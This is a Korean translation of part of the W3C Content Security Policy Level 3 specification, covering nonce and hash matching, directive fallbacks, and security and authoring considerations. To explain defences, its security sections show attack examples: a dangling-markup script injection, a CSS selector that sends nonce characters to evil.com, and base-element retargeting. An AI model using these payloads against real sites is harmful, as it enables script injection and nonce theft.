
6.7.3.1. element가 nonceable인가?

Element element가 주어졌을 때, 이 알고리즘은 nonce-source 표현식이 해당 요소와 일치할 수 있으면("Nonceable"), 일치하지 말아야 하면("Not Nonceable")을 반환한다.

  1. element에 "nonce"라는 속성이 없으면 "Not Nonceable"를 반환한다.

  2. elementscript 요소라면, attribute에 대해 element속성 리스트에서:

    1. attribute의 이름이 "<script" 또는 "<style"와 ASCII 대소문자 구분 없이 일치하면 "Not Nonceable"를 반환한다.

    2. attribute의 값에 "<script" 또는 "<style"와 ASCII 대소문자 구분 없이 일치하면 "Not Nonceable"를 반환한다.

  3. element가 토큰화 과정에서 중복 속성 파싱 오류가 있었다면, "Not Nonceable"를 반환한다.

    HTML에서 이 오류를 기록할 훅이 필요함. [whatwg/html Issue #3257]

  4. "Nonceable"를 반환한다.

이 처리는 dangling markup 공격(기존 요소에서 nonce를 훔쳐 인젝션된 스크립트를 실행)에 대한 위험을 줄이기 위한 것이다. 속성과 값 전체를 검사해야 해서 비용이 크며, nonce가 있는 script 요소에만 적용해 영향 최소화 시도. 영향 파악 전까지는 "risk 있음"으로 고려. [w3c/webappsec-csp Issue #98]

6.7.3.2. 소스 리스트가 type의 모든 인라인 동작을 허용하는가?

소스 리스트 모든 인라인 동작을 허용한다 는 주어진 type에 대해 keyword-source 표현식 'unsafe-inline'을 포함하고, 아래 알고리즘에서 이 표현식이 무효화되지 않는 경우를 의미한다:

source list list와 문자열 type이 주어졌을 때, 아래 알고리즘은 해당 type의 모든 인라인 콘텐츠가 허용되면 "Allows"를, 아니면 "Does Not Allow"를 반환한다.

  1. allow all inlinefalse로 한다.

  2. expression에 대해 list에서:

    1. expressionnonce-source 또는 hash-source 문법에 일치하면, "Does Not Allow"를 반환한다.

    2. type이 "script", "script attribute" 또는 "navigation"이고 expressionkeyword-source "'strict-dynamic'"에 일치하면, "Does Not Allow"를 반환한다.

      참고: 'strict-dynamic'은 스크립트에만 적용되며, 다른 리소스 타입에는 적용되지 않는다. 자세한 사용법은 § 8.2 "'strict-dynamic'" 사용법 참고.

    3. expressionASCII 대소문자 구분 없이 keyword-source "'unsafe-inline'"와 일치하면, allow all inlinetrue로 한다.

  3. allow all inlinetrue이면 "Allows"를 반환하고, 아니면 "Does Not Allow"를 반환한다.

소스 리스트모든 인라인 동작을 허용하는 경우:
'unsafe-inline' http://a.com http://b.com
'unsafe-inline'

소스 리스트 중 nonce/hash의 존재 또는 'unsafe-inline' 미포함으로 인해 모든 인라인 동작을 허용하지 않는 경우:

'sha512-321cba' 'nonce-abc'
http://example.com 'unsafe-inline' 'nonce-abc'

소스 리스트 중 'script' 또는 'script attribute' 타입에서는 'strict-dynamic' 존재로 인해 모든 인라인 동작을 허용하지 않지만, 그 외 타입에서는 허용하는 경우:

'unsafe-inline' 'strict-dynamic'
http://example.com 'strict-dynamic' 'unsafe-inline'
6.7.3.3. elementtypesource에 대해 소스 리스트와 일치하는가?

Element element, source list list, 문자열 type, 문자열 source가 주어졌을 때, 이 알고리즘은 "Matches" 또는 "Does Not Match"를 반환한다.

참고: 문서의 인코딩과 무관하게 source는 해시 알고리즘 적용 전에 UTF-8로 변환된다.

  1. § 6.7.3.2 소스 리스트가 해당 타입의 모든 인라인 동작을 허용하는가?list, type에 대해 "Allows"를 반환하면, "Matches"를 반환한다.

  2. type이 "script" 또는 "style"이고, § 6.7.3.1 요소가 nonceable인가?element에 대해 "Nonceable"를 반환하면:

    1. expression에 대해 list에서:

      1. expressionnonce-source 문법에 일치하고, elementnonce 속성을 가지고 그 값이 expressionbase64-value 부분과 동일하면, "Matches"를 반환한다.

    참고: Nonce는 인라인 script 및 인라인 style에만 적용되며, 두 요소의 속성이나 javascript: 내비게이션에는 적용되지 않는다.

  3. unsafe-hashes flagfalse로 한다.

  4. expression에 대해 list에서:

    1. expressionASCII 대소문자 구분 없이 keyword-source "'unsafe-hashes'"와 일치하면, unsafe-hashes flagtrue로 설정하고 루프를 종료한다.

  5. type이 "script" 또는 "style"이거나 unsafe-hashes flagtrue이면:

    1. sourceUTF-8 encodeJavaScript string convertingsource에 실행한 결과에 적용한 값으로 한다.

    2. expression에 대해 list에서:

      1. expressionhash-source 문법에 일치하면:

        1. algorithm을 null로 한다.

        2. expressionhash-algorithm 부분이 "sha256"과 ASCII 대소문자 구분 없이 일치하면 algorithmSHA-256으로 한다.

        3. expressionhash-algorithm 부분이 "sha384"과 ASCII 대소문자 구분 없이 일치하면 algorithmSHA-384으로 한다.

        4. expressionhash-algorithm 부분이 "sha512"와 ASCII 대소문자 구분 없이 일치하면 algorithmSHA-512으로 한다.

        5. algorithm이 null이 아니면:

          1. actualbase64 인코딩algorithmsource에 적용한 결과에 수행한 값으로 한다.

          2. expectedexpressionbase64-value 부분에서 모든 '-' 문자를 '+'로, 모든 '_' 문자를 '/'로 바꾼 값으로 한다.

            참고: 이 치환은 base64url 인코딩에서 base64 인코딩으로 변환해 일치 검사를 위해 사용된다.

          3. actualexpected동일하면, "Matches"를 반환한다.

    참고: 해시는 인라인 script 및 인라인 style에 적용된다. "'unsafe-hashes'" 소스 식이 있으면 이벤트 핸들러, style 속성, javascript: 내비게이션에도 적용된다.

동적 삽입된 인라인 스크립트에 대해 'strict-dynamic' 처리 추가 필요. [w3c/webappsec-csp Issue #426]

  1. "Does Not Match"를 반환한다.

6.8. 지시어 알고리즘

6.8.1. request에 대한 유효 지시어 획득

fetch 지시어request의 특정 destination을 제어한다. request request가 주어졌을 때, 이 알고리즘은 null 또는 요청의 이름을 반환한다. 유효 지시어(effective directive):

  1. requestinitiator가 "prefetch" 또는 "prerender"이면, default-src를 반환한다.

  2. requestdestination에 따라 다음 단계를 실행한다:

    빈 문자열
    1. connect-src를 반환한다.

    "manifest"
    1. manifest-src를 반환한다.

    "object"
    "embed"
    1. object-src를 반환한다.

    "frame"
    "iframe"
    1. frame-src를 반환한다.

    "audio"
    "track"
    "video"
    1. media-src를 반환한다.

    "font"
    1. font-src를 반환한다.

    "image"
    1. img-src를 반환한다.

    "style"
    1. style-src-elem를 반환한다.

    "script"
    "xslt"
    "audioworklet"
    "paintworklet"
    1. script-src-elem를 반환한다.

    "serviceworker"
    "sharedworker"
    "worker"
    1. worker-src를 반환한다.

    "json"
    "webidentity"
    1. connect-src를 반환한다.

    "report"
    1. null을 반환한다.

  3. connect-src를 반환한다.

참고: 이 알고리즘은 기본 폴백으로 connect-src를 반환한다. 이는 명시적으로 다른 카테고리에 속하지 않는 새로운 fetch destination을 위해 설계된 것이다.

6.8.2. 인라인 검사에 대한 유효 지시어 획득

문자열 type이 주어졌을 때, 이 알고리즘은 유효 지시어의 이름을 반환한다.

참고: 유효 지시어request에 대해서만 정의되지만, 이 알고리즘에서는 특정 인라인 검사 타입에 가장 관련 있는 지시어를 의미하는 용도로 사용된다.

  1. type에 따라 분기한다:

    "script"
    "navigation"
    1. script-src-elem를 반환한다.

    "script attribute"
    1. script-src-attr를 반환한다.

    "style"
    1. style-src-elem를 반환한다.

    "style attribute"
    1. style-src-attr를 반환한다.

  2. null을 반환한다.

6.8.3. fetch 지시어 폴백 리스트 획득

특정 지시어에 대한 폴백 ordered set을 반환한다. 반환된 ordered set은 가장 관련 있는 순서로 정렬되어 있으며, 유효 지시어 자체도 포함한다.

문자열 directive name이 주어졌을 때:

  1. directive name에 따라 분기한다:

    "script-src-elem"
    1. << "script-src-elem", "script-src", "default-src" >>를 반환한다.

    "script-src-attr"
    1. << "script-src-attr", "script-src", "default-src" >>를 반환한다.

    "style-src-elem"
    1. << "style-src-elem", "style-src", "default-src" >>를 반환한다.

    "style-src-attr"
    1. << "style-src-attr", "style-src", "default-src" >>를 반환한다.

    "worker-src"
    1. << "worker-src", "child-src", "script-src", "default-src" >>를 반환한다.

    "connect-src"
    1. << "connect-src", "default-src" >>를 반환한다.

    "manifest-src"
    1. << "manifest-src", "default-src" >>를 반환한다.

    "object-src"
    1. << "object-src", "default-src" >>를 반환한다.

    "frame-src"
    1. << "frame-src", "child-src", "default-src" >>를 반환한다.

    "media-src"
    1. << "media-src", "default-src" >>를 반환한다.

    "font-src"
    1. << "font-src", "default-src" >>를 반환한다.

    "img-src"
    1. << "img-src", "default-src" >>를 반환한다.

  2. << >>를 반환한다.

6.8.4. fetch 지시어 실행 여부

이 알고리즘은 fetch 지시어에 대해, 해당 지시어가 실행되어야 하는지 더 적합한 다른 지시어로 위임되어야 하는지 결정한다. 예: effective directive nameworker-src라면(현재 워커 요청을 체크 중), worker-src 또는 script-src 지시어가 존재하면 default-src 지시어는 실행되지 않아야 한다.

문자열 effective directive name, 문자열 directive name, policy policy가 주어졌을 때:

  1. directive fallback list§ 6.8.3 fetch 지시어 폴백 리스트 획득effective directive name에 대해 실행한 결과로 한다.

  2. fallback directive에 대해 directive fallback list에서:

    1. directive namefallback directive와 같으면, "Yes"를 반환한다.

    2. policynamefallback directive인 지시어가 있으면, "No"를 반환한다.

  3. "No"를 반환한다.

7. 보안 및 개인정보 보호 고려사항

7.1. Nonce 재사용

Nonce는 해당 지시어에 있는 다른 제한을 무시한다. 따라서 nonce가 추측 불가능하게 유지되는 것이 매우 중요하며, 그렇지 않으면 리소스 정책을 우회하는 것이 매우 쉬워진다.

서버가 nonce-source 표현식을 policy의 일부로 전달할 경우, 서버는 정책을 전송할 때마다 고유한 값을 생성해야 한다. 생성된 값은 인코딩 전 최소 128비트 길이여야 하며, 암호학적으로 안전한 난수 생성기를 사용하여 공격자가 예측하기 어렵게 만들어야 한다.

참고: 인라인 스크립트나 스타일에 nonce를 사용하는 것은 nonce를 사용하지 않는 것보다 보안성이 떨어진다. nonce는 해당 지시어의 제한을 무시하기 때문이다. 공격자가 nonce에 접근하면 언제든 원하는 스크립트를 실행할 수 있다. 그럼에도 불구하고, nonce는 'unsafe-inline'보다 상당한 개선을 제공하므로, 기존 코드 위에 콘텐츠 보안 정책을 적용할 때 유용하다. 'unsafe-inline' 사용을 고려한다면, 작성자에게는 nonce(또는 해시) 사용을 권장한다.

7.2. Nonce 탈취

7.2.1. Dangling markup 공격

[FILEDESCRIPTOR-2015]에서 논의된 것과 같은 dangling markup 공격은 정상적인 페이지의 nonce를 인젝션에 재활용할 수 있다. 예를 들어, script 요소 앞에 인젝션 포인트가 있을 때:

<p>Hello, [INJECTION POINT]</p>
<script nonce=abc src=/good.js></script>

공격자가 "<script src='https://evil.com/evil.js' " 문자열을 인젝션하면, 브라우저는 다음과 같이 수신하게 된다:

<p>Hello, <script src='https://evil.com/evil.js' </p>
<script nonce=abc src=/good.js></script>

이 코드는 파싱되어 script 요소에 악성 페이로드를 가리키는 src 속성, </p>라는 이름의 속성, "<script"라는 이름의 속성, nonce 속성, 그리고 파서가 중복으로 간주해 버리는 두 번째 src 속성이 생긴다.

§ 6.7.3.1 요소가 nonceable인가? 알고리즘은 script 또는 style 요소의 속성에서 이름이나 값에 "<script", "<style" 문자열이 있는지 검사하여 이런 공격을 완화하려 시도한다.

User-agent는 이 알고리즘을 구현할 때 중복 속성을 무시하지 않도록 각별히 신경 써야 한다. 한 요소에 중복 속성이 있으면 첫 번째 이후의 인스턴스는 무시되지만, § 6.7.3.1 요소가 nonceable인가? 알고리즘에서는 모든 속성(중복 포함)을 검사해야 한다.

현재 HTML 명세의 파싱 알고리즘은 § 6.7.3.1 요소가 nonceable인가? 실행 전 이 정보를 제거하므로 실제로 중복 속성을 감지할 수 없게 만든다. [whatwg/html Issue #3257]

다음 예시 페이지에서:

Hello, [INJECTION POINT]
<script nonce=abc src=/good.js></script>

아래와 같은 인젝션 문자열은 § 6.7.3.1 요소가 nonceable인가? 알고리즘 검사를 우회하고자 중복 속성을 사용한다:

Hello, <script src='https://evil.com/evil.js' x="" x=
<script nonce="abcd" src=/good.js></script>

7.2.2. 콘텐츠 속성을 통한 nonce 유출

일부 CSP 공격은 다양한 메커니즘을 통해 nonce 데이터를 콘텐츠 속성에서 유출할 수 있는 능력에 의존한다. CSS 선택자가 대표적인 예이다. 접두사/접미사 텍스트 매칭 선택자를 영리하게 사용하면 값을 공격자의 서버로 전송하여 재사용할 수 있다. 예시:

script[nonce=a] { background: url("https://evil.com/nonce?a");}

nonce 섹션에서는 이런 공격을 완화하기 위해 nonce를 요소의 콘텐츠 속성에서 숨기고 내부 슬롯으로 이동시키는 방법을 다룬다. 이렇게 하면 nonce 값은 스크립트에는 노출되지만 비스크립트 채널에는 노출되지 않는다.

7.3. Nonce 리타게팅

Nonce는 host-source 표현식을 우회하므로 개발자가 모든 origin에서 코드를 로드할 수 있게 한다. 이는 일반적으로 개발자 입장에서는 바람직하다. 그러나 공격자가 base 요소를 삽입할 수 있으면 상대 URL이 해석될 때 원래 안전한 페이지가 우회될 수 있다. 예를 들어 https://example.com/에서 다음 코드는 https://example.com/good.js를 로드한다:

<script nonce=abc src=/good.js></script>

하지만 아래와 같이 하면 https://evil.com/good.js가 로드된다:

<base href="https://evil.com">
<script nonce=abc src=/good.js></script>

이 위험을 완화하려면 모든 페이지에 명시적으로 base 요소를 설정하거나, base-uri 지시어를 정책에 설정하여 공격자의 base 요소 삽입을 제한하는 것이 좋다. 예: base-uri 'none'.

7.4. CSS 파싱

style-src 지시어는 보호된 리소스가 스타일을 로드할 수 있는 위치를 제한한다. 하지만 사용자 에이전트가 느슨한 CSS 파싱 알고리즘을 사용할 경우, 공격자가 신뢰할 수 있는 origin에 호스팅된 악의적 "스타일시트"를 받아들이도록 속일 수 있다.

이런 공격은 Chris Evans가 2009년에 기술한 CSS 교차 출처 데이터 유출 공격 [CSS-ABUSE]과 유사하다. 사용자 에이전트는 부적절한 MIME 타입의 스타일시트에 대해 더 엄격한 CSS 파싱 규칙을 사용하여 두 공격 모두를 방어해야 한다.

7.5. 위반 보고

이 문서의 위반 보고 메커니즘은 악의적인 웹사이트가 위반 보고를 사용해 다른 서버의 동작을 탐침하는 위험을 완화하도록 설계되어 있다. 예를 들어, 악의적인 웹사이트가 이미지 소스에 https://example.com을 허용하고, https://example.com/login 이미지를 로드하려 하면 example.com 서버가 인증 공급자(identityprovider.example.net)로 리디렉션할 수 있다. CSP는 요청을 차단한다. 위반 보고서에 전체 차단된 URL이 포함되면 리디렉션된 URL에 포함된 세션 식별자나 신원 정보 등 민감한 정보가 노출될 수 있다. 이런 이유로, 사용자 에이전트는 원래 요청의 URL만 보고서에 포함하며, 리디렉션 대상은 포함하지 않는다.

또한 위반 보고는 공격자가 제어하는 데이터로 간주해야 한다. 위반 보고를 대시보드나 유사 서비스에서 수집하고자 하는 개발자는 렌더링 전에 반드시 내용을 적절히 이스케이프해야 하며(그리고 CSP를 사용해 추가 인젝션 위험을 완화하는 것이 좋다), 특히 "script-sample" 속성과 sample 속성, SecurityPolicyViolationEvent 등은 완전히 공격자가 제어하는 문자열임을 주의해야 한다.

7.6. 경로와 리디렉션

Egor Homakov의 Using Content-Security-Policy for Evil에서 논의된 것처럼 출처 간 경로 정보 유출을 방지하기 위해, 매칭 알고리즘은 리소스가 리디렉션 결과일 경우 소스 표현식의 경로 컴포넌트를 무시한다. 예를 들어, 다음과 같은 정책이 활성화된 페이지가 있을 때: img-src example.com example.org/path:

이 제한은 리디렉션이 작동할 때 문서의 정책 세분성을 낮추지만, 이런 유형의 정보 유출을 방지하기 위한 필수적인 타협이다.

더 자세한 논의는 public-webappsec@w3.org의 "Remove paths from CSP?" 스레드에서 확인할 수 있다.

7.7. 보안 업그레이드

Yan Zhu의 Sniffly와 같은 히스토리 스캐닝 공격을 완화하기 위해, CSP는 script-src http://example.com과 같은 정책으로 페이지가 자신을 비보안 URL에만 제한하지 못하도록 한다. § 6.7.2.9 scheme-part 일치에서 설명한 대로, 소스 표현식의 scheme 부분은 항상 보안 변종으로 업그레이드를 허용한다.

7.8. CSP 상속을 통한 우회 방지

로컬 scheme에서 로드된 문서는 소스 문서의 정책을 복사해 상속받는다. 이는 페이지가 srcdoc 문서, blob: 또는 data: URL, about:blank 문서 등을 프레임에 삽입하거나 새 창으로 열어 정책을 우회하지 못하도록 하기 위함이다.

만약 이를 적용하지 않으면, 페이지는 실행 컨텍스트에서 unsafe-inline 없이도 단순히 srcdoc iframe을 삽입해 인라인 스크립트를 실행할 수 있다.
<iframe srcdoc="<script>alert(1);</script>"></iframe>

CSP 리스트의 복사본을 만든다는 점에 유의해야 하며, 새 DocumentCSP 리스트는 생성 시점의 정책 스냅샷이다. 새 DocumentCSP 리스트를 수정해도 소스 DocumentCSP 리스트에는 영향을 주지 않는다.

아래 예시에서 iframe 내부의 이미지는 iframe의 meta 태그 정책에 의해 로드가 차단된다. iframe 외부의 이미지는(메인 페이지 정책이 차단하지 않는 한) 로드되며, iframe의 정책은 외부 이미지는 영향을 주지 않는다.
<iframe srcdoc='<meta http-equiv="Content-Security-Policy" content="img-src example.com;">
                   <img src="not-example.com/image">'></iframe>

<img src="not-example.com/image">

8. 저작 고려사항

8.1. 다중 정책의 효과

이 절은 현행 표준에 속하지 않습니다.

상단 섹션에서 여러 정책이 존재할 경우 각 정책은 타입에 따라 적용 또는 보고되어야 한다고 언급하였다. 실제 동작을 명확히 하기 위해 예시를 들어본다. 사이트가 다음과 같은 HTTP 헤더를 전달하는 경우 XMLHttpRequest의 동작이 모호할 수 있다:

Content-Security-Policy: default-src 'self' http://example.com http://example.net;
                         connect-src 'none';
Content-Security-Policy: connect-src http://example.com/;
                         script-src http://example.com/

example.com으로의 연결이 허용되는가? 짧게 답하면 허용되지 않는다. 두 정책을 모두 적용하면, 연결은 두 정책 모두를 통과해야 한다. 두 번째 정책이 연결을 허용하더라도 첫 번째 정책에 connect-src 'none'이 있으므로 연결이 차단된다. 즉, 정책을 추가하면 보호 리소스의 기능이 더욱 제한될 뿐이다.

이를 더 명확히 하기 위해, 이 페이지의 script 태그를 생각해보자. 첫 번째 정책은 default-src 지시어로 스크립트를 'self', http://example.com, http://example.net로 제한한다. 두 번째 정책은 http://example.com/에서만 스크립트를 허용한다. 스크립트는 두 정책의 기준을 모두 만족해야 로드된다. 즉, 두 정책 모두 허용하는 http://example.com만 일치한다.

8.2. "'strict-dynamic'" 사용법

이 절은 현행 표준에 속하지 않습니다.

호스트 및 경로 기반 정책은 CDN 같은 대규모 origin에서 제대로 구현하기 어렵다. Cure53의 H5SC Minichallenge 3: "Sh*t, it’s CSP!" [H5SC3]의 솔루션들은 이런 정책이 우회될 수 있는 다양한 사례를 보여준다. CSP는 특정 리소스를 exhaustive하게 선언하여 이런 우회를 완화할 수 있지만, 이런 리스트는 깨지기 쉽고 유지보수가 어렵다.

"'strict-dynamic'" 소스 식은, 직접 로드하는 스크립트에 대한 신뢰도는 높지만 미리 로드할 리소스 목록을 합리적으로 제공할 자신이 없는 기존 앱에 CSP 적용을 쉽게 하려는 목적이다.

script-src 또는 default-src 지시어에 포함될 경우 두 가지 주요 효과가 있다:

  1. host-source, scheme-source 표현식과 "'unsafe-inline'", "'self' keyword-source는 스크립트 로드시 무시된다.

    hash-source, nonce-source 표현식은 적용된다.

  2. 비-"parser-inserted" script 요소에서 트리거된 스크립트 요청은 허용된다.

첫 번째 변화 덕분에 "'strict-dynamic'"를 user-agent 감지 없이도 역호환적으로 배포할 수 있다. 예를 들어 'unsafe-inline' https: 'nonce-abcdefg' 'strict-dynamic' 정책은 CSP1 지원 브라우저에서는 'unsafe-inline' https:, CSP2 지원 브라우저에서는 https: 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV', CSP3 지원 브라우저에서는 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'처럼 동작한다.

두 번째 효과는 nonce/hash로 페이지에 접근한 스크립트가 의존성을 페이지 정책에 명시적으로 추가하지 않아도 가져올 수 있게 해준다.

MegaCorp, Inc.가 다음과 같은 정책을 배포했다고 가정:
Content-Security-Policy: script-src 'nonce-DhcnhD3khTMePgXwdayK9BsMqXjhguVV' 'strict-dynamic'

그리고 다음과 같은 HTML을 해당 정책 하에 제공:

...
<script src="https://cdn.example.com/script.js" nonce="DhcnhD3khTMePgXwdayK9BsMqXjhguVV" ></script>
...

이 경우 https://cdn.example.com/script.js 요청은 nonce 속성 값이 일치하므로 차단되지 않는다.

script.js에 아래 코드가 있으면:

var s = document.createElement('script');
s.src = 'https://othercdn.not-example.net/dependency.js';
document.head.appendChild(s);

document.write('<scr' + 'ipt src="/sadness.js"></scr' + 'ipt>');

dependency.jscreateElement()로 만든 script 요소가 "parser-inserted"가 아니므로 로드된다.

sadness.jsdocument.write()"parser-inserted" script 요소를 생성하므로 로드되지 않는다.

참고: 'strict-dynamic' 정책에서는 런타임에 생성된 스크립트가 실행된다. 이런 스크립트 위치를 공격자가 제어할 수 있다면 임의 스크립트 로드가 허용된다. 'strict-dynamic' 사용 시, 개발자는 비-parser-inserted API의 사용처를 감사하고 신뢰할 수 없는 데이터로 호출되지 않도록 해야 한다. 이는 런타임에 스크립트 위치를 결정하는 앱이나 프레임워크에도 해당된다.

8.3. "'unsafe-hashes'" 사용법

이 절은 현행 표준에 속하지 않습니다.

레거시 사이트나 의존성으로 인해 이벤트 핸들러를 완전히 외부화하기 어려운 사이트는 'unsafe-inline'을 통해 허용할 수 있지만, 이는 위험이 크고 nonce/hash와 함께 사용할 수도 없다.

"'unsafe-hashes'" 소스 식은, 해시를 통해 특정 핸들러만 활성화해 CSP 배포를 더 쉽고 안전하게 한다.

MegaCorp, Inc.는 아래와 같은 HTML을 쉽게 제거할 수 없다고 가정:
<button id="action" onclick="doSubmit()">

보안을 낮추는 "'unsafe-inline'" 대신, "'unsafe-hashes'"와 doSubmit()에 해당하는 해시 소스 표현식을 사용한다:

Content-Security-Policy:  script-src 'unsafe-hashes' 'sha256-jzgBGA4UWFFmpOBq0JpdsySukE1FrEN5bUpoK8Z29fY='

'unsafe-hashes'는 레거시 사이트에는 유용하지만, 최신 사이트에서는 가급적 사용하지 말아야 한다. 해시는 특정 스크립트 실행을 허용하지만, 개발자가 의도한 방식으로 실행되는지는 보장하지 않는다. 예를 들어 <a onclick="transferAllMyMoney()">Transfer</a>와 같은 인라인 이벤트 핸들러가 있으면, 공격자가 <script>transferAllMyMoney()</script>를 인젝션하는 것이 가능하다. 개발자는 인라인 이벤트 핸들러 허용의 배포 편의성과 실행 허용의 위험을 균형 있게 고려해야 한다.

8.4. 해시로 외부 자바스크립트 허용

이 절은 현행 표준에 속하지 않습니다.

[CSP2]에서는 해시 source expression이 인라인 스크립트에만 적용됐으나, Subresource Integrity [SRI]가 널리 보급된 현재는 외부 자바스크립트에도 적용할 수 있다.

script에 여러 integrity 메타데이터가 지정된 경우, 요청은 정책의 hash-source와 오직 script의 모든 integrity 메타데이터가 정책과 일치하는 경우에만 일치한다.

참고: CSP 명세에서는 인라인 script나 이벤트 핸들러의 내용은 해시 계산 전에 UTF-8 인코딩해야 한다고 명시. [SRI]는 fetch된 리소스의 원본에 대해 해시를 계산한다. 즉, 내용이 같아도 인라인 스크립트 허용에 필요한 해시와 외부 스크립트 허용에 필요한 해시는 다를 수 있다.

MegaCorp, Inc.는 페이지에서 두 개의 특정 스크립트만 허용하고자 다음과 같은 정책을 설정한다:
Content-Security-Policy: script-src 'sha256-abc123' 'sha512-321cba'

이 정책이 활성화된 상태에서는 아래 script 요소들이 정책과 일치하는 integrity 메타데이터만을 포함하므로 실행이 허용된다:

<script integrity="sha256-abc123" ...></script>
<script integrity="sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha512-321cba" ...></script>

반면 아래 script 요소들은 일치하지 않는(다른 정책과 일치하더라도) 메타데이터를 포함하므로 실행되지 않는다:

<script integrity="sha384-xyz789" ...></script>
<script integrity="sha384-xyz789 sha512-321cba" ...></script>
<script integrity="sha256-abc123 sha384-xyz789 sha512-321cba" ...></script>

인식할 수 없는 메타데이터(완전히 잘못됐거나, 아직 지원되지 않는 해시 알고리즘을 지정한 경우)는 여기서 설명하는 동작에 영향을 주지 않는다. 즉, 아래 요소들은 위 정책이 있어도 추가 메타데이터가 무효이므로 정책에 명시적으로 포함되지 않은 스크립트가 실행되지는 않는다:

<script integrity="sha256-abc123 sha1024-abcd" ...></script>
<script integrity="sha512-321cba entirely-invalid" ...></script>
<script integrity="sha256-abc123 not-a-hash-at-all sha512-321cba" ...></script>

8.5. Strict CSP

이 절은 현행 표준에 속하지 않습니다.

XSS에 효과적인 CSP 배포는 어려운 과제다(CSP Is Dead, Long Live CSP! [LONG-LIVE-CSP] 참고). 하지만 아래와 같은 CSP 지시어 집합을 강제하면 XSS에 대해 효과적이고 배포 가능한 완화책이 된다.

  1. script-src: "'strict-dynamic'" keyword-source와 함께 nonce 또는 hash source-expression만 사용.

    참고: "'strict-dynamic'"은 배포는 쉽지만 (§ 8.2 "'strict-dynamic'" 사용법 참고), 가능하면 사용을 피하는 것이 좋다.

    참고: 역호환을 위해, "'strict-dynamic'"과 함께 https: scheme-source를 지정하는 것이 좋다.

  2. base-uri: "'self'" 또는 "'none'" 값 지정.

위 기준을 만족하는 CSP를 Strict CSP라 한다. 자세한 내용은 [WEBDEV-STRICTCSP] 참고.

아래는 Strict CSP 예시:

Nonce 기반 Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'nonce-{RANDOM}'; base-uri 'self';

Hash 기반 Strict CSP:

Content-Security-Policy: script-src 'strict-dynamic' 'sha256-{HASHED_INLINE_SCRIPT}'; base-uri 'self';

8.6. 데이터 유출(Exfiltration)

이 절은 현행 표준에 속하지 않습니다.

요청의 URL 등 내용에 사용자나 페이지 관련 정보가 포함될 경우, 제한되어야 할 정보가 유출될 수 있다.

Content Security Policy는 페이지가 통신할 수 있는 서버를 allowlist로 지정하면 데이터 유출을 완화할 수 있다. default-src 지시어가 없는 정책은 유출을 완화할 수 없다. 더 구체적인 지시어로 제어할 수 없는 종류의 요청(prefetch 등)이 있기 때문이다. [HTML]

아래 예시에서, 이미지/폰트/스크립트에 대해 엄격한 제한을 둔 정책도 다른 요청타입(fetch(), prefetch 등)을 통해 데이터 유출이 가능하다: [HTML]
Content-Security-Policy: img-src 'none'; script-src 'none'; font-src 'none'

여기에 default-src 'none'를 추가하면 이런 공격에 더 강한 방어가 된다.

아래 예시에서 default-src 지시어가 유출을 막는 것처럼 보이지만, img-src 지시어가 와일드카드를 사용해 제한을 완화하므로 임의 엔드포인트로 데이터 유출이 가능하다. 정책의 유출 완화 능력은 가장 제한이 약한 지시어 allowlist에 따라 달라진다:
Content-Security-Policy: default-src 'none'; img-src *

9. 구현 고려사항

9.1. 벤더별 확장 및 애드온

정책이 리소스에 적용될 때, 애드온/확장/북마클릿 등 사용자 에이전트 기능의 동작을 방해하지 않아야 한다. 이런 기능은 일반적으로 페이지 저자보다 사용자의 우선 순위를 높이는 것으로 [HTML-DESIGN]에서 설명한다.

또한 이러한 기능에 CSP를 적용하면 위반 보고에 노이즈가 많이 발생하여 개발자에게 가치가 크게 떨어진다.

예를 들어 Chrome은 chrome-extension: scheme을 CSP 검사에서 제외하며, 확장 기반 인젝션은 페이지 정책과 무관하게 허용되도록 처리한다.

10. IANA 고려사항

10.1. 지시어 레지스트리

Content Security Policy Directive 레지스트리는 아래 지시어와 참조로 업데이트되어야 한다 [RFC7762]:

base-uri

본 문서 (§ 6.3.1 base-uri 참고)

child-src

본 문서 (§ 6.1.1 child-src 참고)

connect-src

본 문서 (§ 6.1.2 connect-src 참고)

default-src

본 문서 (§ 6.1.3 default-src 참고)

font-src

본 문서 (§ 6.1.4 font-src 참고)

form-action

본 문서 (§ 6.4.1 form-action 참고)

frame-ancestors

본 문서 (§ 6.4.2 frame-ancestors 참고)

frame-src

본 문서 (§ 6.1.5 frame-src 참고)

img-src

본 문서 (§ 6.1.6 img-src 참고)

manifest-src

본 문서 (§ 6.1.7 manifest-src 참고)

media-src

본 문서 (§ 6.1.8 media-src 참고)

object-src

본 문서 (§ 6.1.9 object-src 참고)

report-uri

본 문서 (§ 6.5.1 report-uri 참고)

report-to

본 문서 (§ 6.5.2 report-to 참고)

sandbox

본 문서 (§ 6.3.2 sandbox 참고)

script-src

본 문서 (§ 6.1.10 script-src 참고)

script-src-attr

본 문서 (§ 6.1.12 script-src-attr 참고)

script-src-elem

본 문서 (§ 6.1.11 script-src-elem 참고)

style-src

본 문서 (§ 6.1.13 style-src 참고)

style-src-attr

본 문서 (§ 6.1.15 style-src-attr 참고)

style-src-elem

본 문서 (§ 6.1.14 style-src-elem 참고)

worker-src

본 문서 (§ 6.2.2 worker-src 참고)

10.2. 헤더

영구 메시지 헤더 필드 레지스트리는 다음과 같이 갱신되어야 한다 [RFC3864]

10.2.1. Content-Security-Policy

헤더 필드 이름
Content-Security-Policy
적용 프로토콜
http
상태
standard
작성자/변경 관리자
W3C
명세 문서
본 명세 (§ 3.1 Content-Security-Policy HTTP 응답 헤더 필드 참고)

10.2.2. Content-Security-Policy-Report-Only

헤더 필드 이름
Content-Security-Policy-Report-Only
적용 프로토콜
http
상태
standard
작성자/변경 관리자
W3C
명세 문서
본 명세 (§ 3.2 Content-Security-Policy-Report-Only HTTP 응답 헤더 필드 참고)

11. 감사의 글

많은 사람들이 훌륭합니다. 예를 들어:

  • Mario와 Cure53 모두.

  • Artur Janc, Michele Spagnuolo, Lukas Weichselbaum, Jochen Eisinger, 그리고 Google의 CSP Cabal 나머지 분들.

적합성

문서 규약

적합성 요구사항은 설명적 단언과 RFC 2119 용어의 조합으로 표현된다. 본 문서의 규범적인 부분에서 “MUST”, “MUST NOT”, “REQUIRED”, “SHALL”, “SHALL NOT”, “SHOULD”, “SHOULD NOT”, “RECOMMENDED”, “MAY”, “OPTIONAL”과 같은 주요 단어들은 RFC 2119에서 설명된 대로 해석해야 한다. 하지만 가독성을 위해, 이 단어들은 명세에서 모두 대문자로 표시되지 않는다.

